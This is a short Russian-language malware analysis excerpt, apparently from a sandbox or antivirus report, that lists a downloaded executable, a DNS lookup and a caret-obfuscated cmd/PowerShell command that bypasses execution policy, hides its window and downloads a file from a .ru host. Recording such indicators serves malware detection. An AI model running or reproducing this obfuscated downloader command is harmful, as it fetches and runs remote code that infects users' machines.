Техническая информация
- http://v32gy.worldnews932.ru/file/nit.nbv как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "Pow^e^R^S^Hel^l.E^xE^ -eX^E^CUTiOnPOL^Ic^Y ^bYpas^s -^nO^prOF^IL^E ^-WIn^doWstYlE^ H^i^d^D^EN (n^EW^-o^bjE^Ct ^Sys^T^EM^.neT^.w^eb^cLiE^nT^).DO^wNLo^aD^F^i^le('http://v32gy.worldnew...
- DNS ASK v3###.#orldnews932.ru
- '<SYSTEM32>\cmd.exe' /C "Pow^e^R^S^Hel^l.E^xE^ -eX^E^CUTiOnPOL^Ic^Y ^bYpas^s -^nO^prOF^IL^E ^-WIn^doWstYlE^ H^i^d^D^EN (n^EW^-o^bjE^Ct ^Sys^T^EM^.neT^.w^eb^cLiE^nT^).DO^wNLo^aD^F^i^le('http://v32gy.worldnew...' (со скрытым окном)